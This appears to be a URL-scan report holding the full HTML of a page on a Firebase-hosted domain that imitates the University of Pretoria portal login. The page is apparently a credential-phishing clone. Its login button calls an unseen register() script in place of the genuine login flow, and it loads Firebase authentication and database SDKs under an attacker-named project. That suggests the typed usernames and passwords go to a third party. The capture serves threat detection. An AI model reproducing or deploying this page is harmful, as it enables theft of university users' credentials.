https://up-ac-za-uplogin-login-jspx-bm.web.app/

Submitted URL:
https://up-ac-za-uplogin-login-jspx-bm.web.app/
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 21 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

Console log messages · 3 found

Messages logged to the web console

HTML

The raw HTML body of the page

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en"><head><style type="text/css">.swal-icon--error{border-color:#f27474;-webkit-animation:animateErrorIcon .5s;animation:animateErrorIcon .5s}.swal-icon--error__x-mark{position:relative;display:block;-webkit-animation:animateXMark .5s;animation:animateXMark .5s}.swal-icon--error__line{position:absolute;height:5px;width:47px;background-color:#f27474;display:block;top:37px;border-radius:2px}.swal-icon--error__line--left{-webkit-transform:rotate(45deg);transform:rotate(45deg);left:17px}.swal-icon--error__line--right{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);right:16px}@-webkit-keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@-webkit-keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}@keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}.swal-icon--warning{border-color:#f8bb86;-webkit-animation:pulseWarning .75s infinite alternate;animation:pulseWarning .75s infinite alternate}.swal-icon--warning__body{width:5px;height:47px;top:10px;border-radius:2px;margin-left:-2px}.swal-icon--warning__body,.swal-icon--warning__dot{position:absolute;left:50%;background-color:#f8bb86}.swal-icon--warning__dot{width:7px;height:7px;border-radius:50%;margin-left:-4px;bottom:-11px}@-webkit-keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}@keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}.swal-icon--success{border-color:#a5dc86}.swal-icon--success:after,.swal-icon--success:before{content:"";border-radius:50%;position:absolute;width:60px;height:120px;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.swal-icon--success:before{border-radius:120px 0 0 120px;top:-7px;left:-33px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:60px 60px;transform-origin:60px 60px}.swal-icon--success:after{border-radius:0 120px 120px 0;top:-11px;left:30px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:0 60px;transform-origin:0 60px;-webkit-animation:rotatePlaceholder 4.25s ease-in;animation:rotatePlaceholder 4.25s ease-in}.swal-icon--success__ring{width:80px;height:80px;border:4px solid hsla(98,55%,69%,.2);border-radius:50%;box-sizing:content-box;position:absolute;left:-4px;top:-4px;z-index:2}.swal-icon--success__hide-corners{width:5px;height:90px;background-color:#fff;padding:1px;position:absolute;left:28px;top:8px;z-index:1;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.swal-icon--success__line{height:5px;background-color:#a5dc86;display:block;border-radius:2px;position:absolute;z-index:2}.swal-icon--success__line--tip{width:25px;left:14px;top:46px;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-animation:animateSuccessTip .75s;animation:animateSuccessTip .75s}.swal-icon--success__line--long{width:47px;right:8px;top:38px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-animation:animateSuccessLong .75s;animation:animateSuccessLong .75s}@-webkit-keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@-webkit-keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@-webkit-keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}@keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}.swal-icon--info{border-color:#c9dae1}.swal-icon--info:before{width:5px;height:29px;bottom:17px;border-radius:2px;margin-left:-2px}.swal-icon--info:after,.swal-icon--info:before{content:"";position:absolute;left:50%;background-color:#c9dae1}.swal-icon--info:after{width:7px;height:7px;border-radius:50%;margin-left:-3px;top:19px}.swal-icon{width:80px;height:80px;border-width:4px;border-style:solid;border-radius:50%;padding:0;position:relative;box-sizing:content-box;margin:20px auto}.swal-icon:first-child{margin-top:32px}.swal-icon--custom{width:auto;height:auto;max-width:100%;border:none;border-radius:0}.swal-icon img{max-width:100%;max-height:100%}.swal-title{color:rgba(0,0,0,.65);font-weight:600;text-transform:none;position:relative;display:block;padding:13px 16px;font-size:27px;line-height:normal;text-align:center;margin-bottom:0}.swal-title:first-child{margin-top:26px}.swal-title:not(:first-child){padding-bottom:0}.swal-title:not(:last-child){margin-bottom:13px}.swal-text{font-size:16px;position:relative;float:none;line-height:normal;vertical-align:top;text-align:left;display:inline-block;margin:0;padding:0 10px;font-weight:400;color:rgba(0,0,0,.64);max-width:calc(100% - 20px);overflow-wrap:break-word;box-sizing:border-box}.swal-text:first-child{margin-top:45px}.swal-text:last-child{margin-bottom:45px}.swal-footer{text-align:right;padding-top:13px;margin-top:13px;padding:13px 16px;border-radius:inherit;border-top-left-radius:0;border-top-right-radius:0}.swal-button-container{margin:5px;display:inline-block;position:relative}.swal-button{background-color:#7cd1f9;color:#fff;border:none;box-shadow:none;border-radius:5px;font-weight:600;font-size:14px;padding:10px 24px;margin:0;cursor:pointer}.swal-button:not([disabled]):hover{background-color:#78cbf2}.swal-button:active{background-color:#70bce0}.swal-button:focus{outline:none;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(43,114,165,.29)}.swal-button[disabled]{opacity:.5;cursor:default}.swal-button::-moz-focus-inner{border:0}.swal-button--cancel{color:#555;background-color:#efefef}.swal-button--cancel:not([disabled]):hover{background-color:#e8e8e8}.swal-button--cancel:active{background-color:#d7d7d7}.swal-button--cancel:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(116,136,150,.29)}.swal-button--danger{background-color:#e64942}.swal-button--danger:not([disabled]):hover{background-color:#df4740}.swal-button--danger:active{background-color:#cf423b}.swal-button--danger:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(165,43,43,.29)}.swal-content{padding:0 20px;margin-top:20px;font-size:medium}.swal-content:last-child{margin-bottom:20px}.swal-content__input,.swal-content__textarea{-webkit-appearance:none;background-color:#fff;border:none;font-size:14px;display:block;box-sizing:border-box;width:100%;border:1px solid rgba(0,0,0,.14);padding:10px 13px;border-radius:2px;transition:border-color .2s}.swal-content__input:focus,.swal-content__textarea:focus{outline:none;border-color:#6db8ff}.swal-content__textarea{resize:vertical}.swal-button--loading{color:transparent}.swal-button--loading~.swal-button__loader{opacity:1}.swal-button__loader{position:absolute;height:auto;width:43px;z-index:2;left:50%;top:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);text-align:center;pointer-events:none;opacity:0}.swal-button__loader div{display:inline-block;float:none;vertical-align:baseline;width:9px;height:9px;padding:0;border:none;margin:2px;opacity:.4;border-radius:7px;background-color:hsla(0,0%,100%,.9);transition:background .2s;-webkit-animation:swal-loading-anim 1s infinite;animation:swal-loading-anim 1s infinite}.swal-button__loader div:nth-child(3n+2){-webkit-animation-delay:.15s;animation-delay:.15s}.swal-button__loader div:nth-child(3n+3){-webkit-animation-delay:.3s;animation-delay:.3s}@-webkit-keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}@keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}.swal-overlay{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;font-size:0;overflow-y:auto;background-color:rgba(0,0,0,.4);z-index:10000;pointer-events:none;opacity:0;transition:opacity .3s}.swal-overlay:before{content:" ";display:inline-block;vertical-align:middle;height:100%}.swal-overlay--show-modal{opacity:1;pointer-events:auto}.swal-overlay--show-modal .swal-modal{opacity:1;pointer-events:auto;box-sizing:border-box;-webkit-animation:showSweetAlert .3s;animation:showSweetAlert .3s;will-change:transform}.swal-modal{width:478px;opacity:0;pointer-events:none;background-color:#fff;text-align:center;border-radius:5px;position:static;margin:20px auto;display:inline-block;vertical-align:middle;-webkit-transform:scale(1);transform:scale(1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;z-index:10001;transition:opacity .2s,-webkit-transform .3s;transition:transform .3s,opacity .2s;transition:transform .3s,opacity .2s,-webkit-transform .3s}@media (max-width:500px){.swal-modal{width:calc(100% - 20px)}}@-webkit-keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}@keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}</style>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta http-equiv="refresh" content="1200; URL='https://www1.up.ac.za:443/wcportal/faces/sso'">
        <meta name="description" content="University of Pretoria: Login page to UP Portal">
        <meta name="robots" content="max-snippet:47">
        <link rel="stylesheet" href="custom.css">
        <link rel="shotrcut icon" type="x-icon" href="logo.jpg">
        <script type="text/javascript" src="jquery-3.5.1.js"></script>
        <script type="text/javascript" src="register.js"></script>
        <script type="text/javascript" src="bootstrap.min.js"></script>
        <script type="text/javascript" src="popper.min.js"></script>
        <script type="text/javascript">
          function loginButton() {
              var request_id = -5670833450015555283+ 0;
              var username = $.trim(document.login_form.userid_placeholder.value);
              var password = $.trim(document.login_form.password.value);
              if (username == "") {
                  alert("Username is empty");
                  document.login_form.userid_test.focus();
                  return false;
              }
              else if (password == "") {
                  alert("Password is empty");
                  document.login_form.password.focus();
                  return false;
              }
              //start ajax request
              $.ajax( {
                  type : "POST", 
                  url : "https://www1.up.ac.za:443/uplogin/usernamelookup",
                  data :  {username : username, request_id : request_id, password : password},
                  //force to handle it as text
                  dataType : "text",
                  success : function (data) {
                      var json = $.parseJSON(data);
                      //now json variable contains data in json format
                      $('#error_description').html("");
                      $('#sso_description').html("");
                      $('#oam_error_description').html("");
                      if (json.errorMessage) {
                          $('#error_description').html(json.errorMessage);
                          return;
                      }
                      else {
                          document.getElementById('username').value = json.emplid;
                      }
                      if (json.forceChangepasswordExpired) {
                          $('#sso_description').html(json.warningMessage);
                          $('#loginfieldstable').hide();
                      }
                      else if (json.forceChangepasswordFlag) {
                          $('#error_description').html("You'll need to change your password here: <br/><a href='https://www1.up.ac.za/passwordss/faces/changepassword'style=\"text-decoration:underline;\" target='_blank'>Change password</a>");
                      }
                      else if (json.newUser) {
                          $('#error_description').html("Before signing on, you'll first need to set a password here: <a href='https://www1.up.ac.za/passwordss/faces/newuser-username'style=\"text-decoration:underline;\" target='_blank'>New users</a>");
                      }
                      else {
                          $('#error_description').html("");
                          $('#sso_description').html("");
                          $('#login_form').submit();
                      }
                  },
                  error : function (data, textStatus, thrownError) {
                      //$('#error_description').html("HTTP error {code: "+data.status+", details: "+thrownError+"}"); 
                      var date = new Date(),
                      year = date.getFullYear(),
                      month = (date.getMonth() + 1).toString(),
                      formatedMonth = (month.length === 1) ? ("0" + month) : month,
                      day = date.getDate().toString(),
                      formatedDay = (day.length === 1) ? ("0" + day) : day, hour = date.getHours().toString(), formatedHour = (hour.length === 1) ? ("0" + hour) : hour, minute = date.getMinutes().toString(), formatedMinute = (minute.length === 1) ? ("0" + minute) : minute, second = date.getSeconds().toString(), formatedSecond = (second.length === 1) ? ("0" + second) : second;
                      var dateFormatted = "<b>Current date:</b> " + year + "/" + formatedMonth + "/" + formatedDay + " " + formatedHour + ':' + formatedMinute + ':' + formatedSecond;
                      $('#error_description').html("<br/>HTTP connection error. Please try again later.<br/><br/>" + dateFormatted);
                  },
                  timeout : 30000
              });
          }
        </script>
        <title>Login</title>
    <script src="https://www.googletagmanager.com/gtag/js?l=dataLayer&amp;id=G-8YF6B27H5P" async=""></script></head>
    <body>
        <header class="navbar navbar-expand-lg navbar-dark px-4">
            <a class="navbar-brand" href="../../wcportal/faces/sso"><b>UP</b>PORTAL</a>
            <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar-main" aria-controls="navbar-main" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>
            <div class="collapse navbar-collapse" id="navbar-main">
                <ul class="navbar-nav">
                    <li class="nav-item">
                        <a class="nav-link" target="_blank" href="https://www.up.ac.za/">UP WEB</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="https://www.library.up.ac.za/" target="_blank">LIBRARY</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="https://upnet.up.ac.za/upgmail" target="_blank">UP GOOGLE</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="https://upnet.up.ac.za/gmail" target="_blank">TUKS
                                                                                                GOOGLE</a>
                    </li>
                </ul>
            </div>
        </header>
        <div class="container-fluid px-4">
            <div class="row py-1">
                <div class="col-sm">
                    <ul class="nav support-controls">
                        <li class="nav-item">
                            <a class="nav-link" href="log-support-call.jsp">
                                <svg class="bi bi-support-fill" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg">
                                    <path fill-rule="evenodd" d="M8 1a5 5 0 0 0-5 5v4.5H2V6a6 6 0 1 1 12 0v4.5h-1V6a5 5 0 0 0-5-5z"></path>
                                    <path d="M11 8a1 1 0 0 1 1-1h2v4a1 1 0 0 1-1 1h-1a1 1 0 0 1-1-1V8zM5 8a1 1 0 0 0-1-1H2v4a1 1 0 0 0 1 1h1a1 1 0 0 0 1-1V8z"></path>
                                    <path fill-rule="evenodd" d="M13.5 8.5a.5.5 0 0 1 .5.5v3a2.5 2.5 0 0 1-2.5 2.5H8a.5.5 0 0 1 0-1h3.5A1.5 1.5 0 0 0 13 12V9a.5.5 0 0 1 .5-.5z"></path>
                                    <path d="M6.5 14a1 1 0 0 1 1-1h1a1 1 0 1 1 0 2h-1a1 1 0 0 1-1-1z"></path>
                                </svg>LOG A SUPPORT CALL</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="browserinfo.jsp">
                                <svg viewBox="0 0 16 16" class="bi bi-info-square" xmlns="http://www.w3.org/2000/svg">
                                    <path fill-rule="evenodd" d="M14 1H2a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1zM2 0a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V2a2 2 0 0 0-2-2H2z"></path>
                                    <path fill-rule="evenodd" d="M14 1H2a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1zM2 0a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V2a2 2 0 0 0-2-2H2z"></path>
                                    <path d="M8.93 6.588l-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588z"></path>
                                    <circle cx="8" cy="4.5" r="1"></circle>
                                </svg>HELP</a>
                        </li>
                    </ul>
                </div>
            </div>
            <div class="row">
               
                    <div class="col-12 col-lg-6 order-2 order-lg-1">
               
                    <div class="login-collage">
                        <div class="gallery">
                            <figure class="gallery__item gallery__item--fallback" style="background-image: url('1.jpeg');"></figure>
                             
                            <figure class="gallery__item gallery__item--1">
                                <img src="1.jpeg" alt="Students collaborating in library." class="gallery__img">
                            </figure>
                             
                            <figure class="gallery__item gallery__item--2">
                                <img src="2.jpeg" alt="Smiling student in library." class="gallery__img">
                            </figure>
                             
                            <figure class="gallery__item gallery__item--3">
                                <img src="3.jpeg" alt="Graduate student." class="gallery__img">
                            </figure>
                             
                            <figure class="gallery__item gallery__item--4">
                                <img src="4.jpeg" alt="One to one tutoring." class="gallery__img">
                            </figure>
                             
                            <figure class="gallery__item gallery__item--5">
                                <img src="5.jpeg" alt="Student walking down the stairs." class="gallery__img">
                            </figure>
                             
                            <figure class="gallery__item gallery__item--6">
                                <img src="6.jpeg" alt="Four smiling students in library." class="gallery__img">
                            </figure>
                             
                            <figure class="gallery__item gallery__item--7">
                                <img src="7.jpeg" alt="Athletes practicing on field." class="gallery__img">
                            </figure>
                        </div>
                    </div>
                </div>
               
                    <div class="col-12 col-lg-6 order-1 order-lg-2">
               
                    <div class="login-content pt-1">
                        <div class="row">
                            <div class="col-12">
                                <div class="login-content pt-1">
                                    <img src="up_logo.jpg" alt="Logo" class="logo" style="width: 30%">
                                </div>
                            </div>
                            
                            <div class="col-12 col-md-10">
                            
                                <div id="loginfieldstable" class="login-content pt-1">
                                    <h2 class="pt-1">WELCOME</h2>
                                    <div class="py-2 text-primary">Login / sign up here to view your
                                                                   personal online portal.</div>
                                    <div class="text-primary mb-4 pt-2">
                                        Please login with your "u" username. For example:
                                        username u01234567. 
                                        <br><span style="font-size:0.7rem;">(Note: The system no
                                                                             longer supports user
                                                                             sign on with "p"
                                                                             usernames.)</span>
                                    </div>
                                    <div>
                                        <button onclick="window.location.href='https://www1.up.ac.za/passwordss/faces/newuser-username'" type="button" class="btn btn-primary btn mr-3" style="width: 120px;" aria-label="New user button">NEW
                                                                                                   USER</button>
                                    </div>
                                    <form class="pt-3" id="login_form" name="login_form" method="POST" autocomplete="off" action="https://www1.up.ac.za/oam/server/auth_cred_submit">
                                        <div class="row mb-3">
                                            <div class="col">
                                                <input id="userid_placeholder" name="userid_placeholder" type="text" class="form-control" placeholder="Username" autocomplete="off" value="" onkeypress="if (event.keyCode == 13) document.getElementById('loginbutton').click()">
                                            </div>
                                        </div>
                                        <div class="row mb-3">
                                            <div class="col">
                                                <input id="password" name="password" type="password" class="form-control" placeholder="Password" value="" onkeypress="if (event.keyCode == 13) document.getElementById('loginbutton').click()">
                                                 
                                                <input style="display:none" type="password" name="foilautofill">
                                            </div>
                                        </div>
                                        <div class="row mb-4">
                                            <div class="col">
                                                <input name="request_id" type="hidden" value="-5670833450015555283" id="request_id">
                                                 
                                                <input type="hidden" name="OAM_REQ" value="">
                                                 
                                                <!-- add this hidden param to prevent browser populate username -->
                                                 
                                                <input id="username" name="username" type="hidden" value="">
                                                 
                                                <button onclick="register()" name="loginbutton" value="LOGIN " type="button" class="btn btn-primary btn mr-3" style="width: 120px;" id="loginbutton" aria-label="Login button">LOGIN</button>
                                            </div>
                                            <div class="col text-right">
                                                <a class="strong_link" href="https://www1.up.ac.za/passwordss/faces/forgotpassword-username">Lost (forgotten)password</a><br>
                                                 
                                                <a class="strong_link" href="https://www1.up.ac.za/passwordss/faces/changepassword">Change password</a>
                                            </div>
                                        </div>
                                    </form>
                                </div>
                          
                            <p style="color:Red;">
                                <span id="error_description"></span>
                            </p>
                            <p>
                                <br>
                                <span id="sso_description"></span>
                            </p>
                            <p style="color:Red;">
                                <span id="oam_error_description">
                                    </span>
                            </p>
                              </div>
                        
                    </div>
                    </div>
                    </div>
                    </div>
                    <div class="row mt-3 pt-0 my-2">
                        <div class="col-12">
                            <div class="alert alert-info m-0">
                                <p class="small mb-0">
                                    <strong>Browser compatibility: </strong>This site functions best
                                                                            on recent versions of
                                                                            commonly used browsers
                                                                            (e.g. Google Chrome,
                                                                            Microsoft Edge, Mozilla
                                                                            Firefox, Safari). Please
                                                                            find more detail here: 
                                    <a href="browserinfo.jsp" class="text-break">Browser info</a>
                                </p>
                            </div>
                        </div>
                    </div>
                <footer class="container-fluid">
                    <div class="row align-items-center main-footer">
                        <div class="col-12 col-md-4 text-center text-md-left">
                            <a href="https://twitter.com/uptuks" target="_blank" rel="noopener" aria-label="Twitter">
                                <img src="twitter.svg" alt="Twitter"></a>
                             
                            <a href="https://www.facebook.com/pages/University-of-Pretoria/121543344550156" target="_blank" rel="noopener" aria-label="Facebook"> 
                                <img src="flogo.png" alt="Facebook">
                                 </a>
                             
                            <a href="https://www.instagram.com/universityofpretoria/" target="_blank" rel="noopener" aria-label="Instagram"> 
                                <img src="intagram.png" alt="Instagram">
                                 </a>
                             
                            <a href="https://www.youtube.com/user/UPvideolibrary?ob=0&amp;feature=results_main" target="_blank" rel="noopener" aria-label="Youtube"> 
                                <img src="youtube.png" alt="Youtube">
                                 </a>
                             
                            <a href="https://www.linkedin.com/school/166662?pathWildcard=166662" target="_blank" rel="noopener" aria-label="LinkedIn">
                                <img src="linkedin.png" alt="LinkedIn"></a>
                                
                            <a href="https://www.tiktok.com/@univofpretoria?lang=en" target="_blank" rel="noopener" aria-label="TikTok">
                                <img src="Tiktok_white.png" alt="TikTok"></a>
                        </div>
                        <div class="col-12 col-md-8 pt-3 pt-md-0">
                            <div class="text-center text-md-right">
                                COPYRIGHT © UNIVERSITY OF PRETORIA 2021. ALL RIGHTS RESERVED.
                                VERSION: 
                                prod-2023-07-18
                                 NODE: 
                                sjaadf2
                                 CLUSTER: 
                                Cluster HC
                            </div>
                        </div>
                    </div>
                </footer>
            </div>
        
        <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
    <script src="https://unpkg.com/swiper@7/swiper-bundle.min.js"></script>
    <script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-app.js"></script>
    <script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-auth.js"></script>
    <script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-firestore.js"></script>
    <script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-analytics.js"></script>
    <script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-storage.js"></script>
    <script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-database.js"></script>

    <!-- TODO: Add SDKs for Firebase products that you want to use
 https://firebase.google.com/docs/web/setup#config-web-app -->

    <script>


        // Your web app's Firebase configuration
            var firebaseConfig = {
                apiKey: "AIzaSyC_8mlUCovdbidHrLQPGgvR-1xmfbgTKr4",
  authDomain: "up-ac-za-uplogin-login-jspx-bm.firebaseapp.com",
  projectId: "up-ac-za-uplogin-login-jspx-bm",
  storageBucket: "up-ac-za-uplogin-login-jspx-bm.appspot.com",
  messagingSenderId: "71336567972",
  appId: "1:71336567972:web:85ce5b55c297c1d13ab231",
  measurementId: "G-8YF6B27H5P"
        };
        // Initialize Firebase
        firebase.initializeApp(firebaseConfig);
    
 
        const auth = firebase.auth();
        const db = firebase.firestore();
        db.settings({timestampsInSnapshots:true});
        firebase.analytics();

    </script>
    
</body></html>